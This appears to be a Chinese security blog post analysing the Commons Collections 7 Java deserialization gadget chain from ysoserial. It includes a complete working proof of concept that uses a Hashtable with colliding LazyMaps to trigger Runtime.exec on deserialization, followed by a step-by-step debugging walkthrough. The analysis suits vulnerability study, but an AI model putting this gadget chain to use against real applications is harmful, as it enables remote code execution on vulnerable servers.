Java安全之Commons Collections7分析
0x00 前言
本文講解的該鏈是原生ysoserial
中的最後一條CC鏈,但是實際上並不是的。在後來隨著後面各位大佬們挖掘利用鏈,CC8,9,10的鏈誕生,也被內建到ysoserial
裡面。在該鏈中其實和CC6也是類似,但是CC7利用鏈中是使用Hashtable
作為反序列化的入口點。
0x01 POC分析
package com.test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class cc7 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
// Reusing transformer chain and LazyMap gadgets from previous payloads
final String[] execArgs = new String[]{"calc"};
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);
// Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out"));
objectOutputStream.writeObject(hashtable);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out"));
objectInputStream.readObject();
// return hashtable;
}
}
這裡依舊是提取重要程式碼出來去做了一個簡化。
拋去和前面重複的部分,下面分為三段程式碼去進行分析。
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
在這段程式碼中,例項化了兩個 HashMap
,並對兩個 HashMap
使用了LazyMap
將transformerChain
和 HashMap
繫結到一起。然後分別新增到 Hashtable
中, 但是前面看到的都是使用一次,為什麼這裡需要重複2次重複的操作呢?
下面來分析一下。
Hashtable
的reconstitutionPut
方法是被遍歷呼叫的,
第一次呼叫的時候,並不會走入到reconstitutionPut
方法for迴圈裡面,因為tab[index]
的內容是空的,在下面會對tab[index]
進行賦值。在第二次呼叫reconstitutionPut
時,tab中才有內容,我們才有機會進入到這個for迴圈中,從而呼叫equals
方法。這也是為什麼要呼叫兩次put的原因。
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);
lazyMap2.remove("yy");
前面的三段程式碼其實就是為了防止在序列化的時候,本地進行命令執行,前面先定義好一個空的,後面再使用反射將他的iTransformers
進行替換。
其實最主要的是後面的lazyMap2.remove
這個步驟。至於為什麼需要在最後面移除該值,其實在LazyMap
的get方法裡面就可以看到。
如果不移除該方法就會走不進該判斷條件的程式碼塊中。而後面也會再呼叫一次put方法。
0x02 POC除錯
依舊是在readobjetc
的複寫點打一個斷點,這裡面用到的是Hashtable
的readobjetc
作為入口點。
在其中會呼叫到reconstitutionPut
方法,跟進一下。
前面說過,第一遍呼叫的時候,tab[index]
是為空的,需要跟進到第二步的執行裡面去檢視。
在第二遍執行的時候就會進行到for迴圈裡面,並且呼叫到key
的equals
方法。跟進一下該方法。
AbstractMapDecorator
的equals
方法會去呼叫this.map
的equals
。跟進一下。
下面程式碼還會繼續呼叫m.get
方法,在這裡的m為LazyMap
物件。
在最後就來到了LazyMap.get
這一步,其實就比較清晰了。後面的和前面分析的幾條鏈都一樣。這裡就不做分析了。
0x03 結尾
分析完了這一系列的CC鏈,後面就打算分析Fastjson、shiro、weblogic等反序列化漏洞,再後面就是開始寫反序列化工具集了。